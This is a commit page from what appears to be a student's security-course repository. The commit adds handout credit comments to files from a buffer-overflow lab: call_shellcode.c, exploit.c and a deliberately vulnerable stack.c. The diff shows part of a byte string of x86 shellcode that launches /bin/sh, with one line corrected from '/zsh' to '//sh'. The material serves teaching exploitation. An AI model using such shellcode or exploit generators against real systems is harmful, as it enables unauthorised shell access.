Giving credit and stuff.
This commit is contained in:
parent
eb27487128
commit
88ae2895bf
5 changed files with 9 additions and 1 deletions
BIN
hw2/badfile
BIN
hw2/badfile
Binary file not shown.
|
@ -1,3 +1,5 @@
|
|||
// Credit: given by our homework handout.
|
||||
|
||||
/* call_shellcode.c */
|
||||
/*A program that creates a file containing code for launching shell*/
|
||||
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
// Credit: given by our homework handout and modified, documented in lab report.
|
||||
|
||||
/* exploit.c */
|
||||
|
||||
/* A program that creates a file containing code for launching shell*/
|
||||
|
@ -9,7 +11,7 @@
|
|||
char shellcode[]=
|
||||
"\x31\xc0" /* xorl %eax,%eax */
|
||||
"\x50" /* pushl %eax */
|
||||
"\x68""/zsh" /* pushl $0x68732f2f */
|
||||
"\x68""//sh" /* pushl $0x68732f2f */
|
||||
"\x68""/bin" /* pushl $0x6e69622f */
|
||||
"\x89\xe3" /* movl %esp,%ebx */
|
||||
"\x50" /* pushl %eax */
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
// Credit: given by our homework handout.
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
// Credit: given in our homework handout.
|
||||
|
||||
/* stack.c */
|
||||
|
||||
/* This program has a buffer overflow vulnerability. */
|
||||
|
|
Reference in a new issue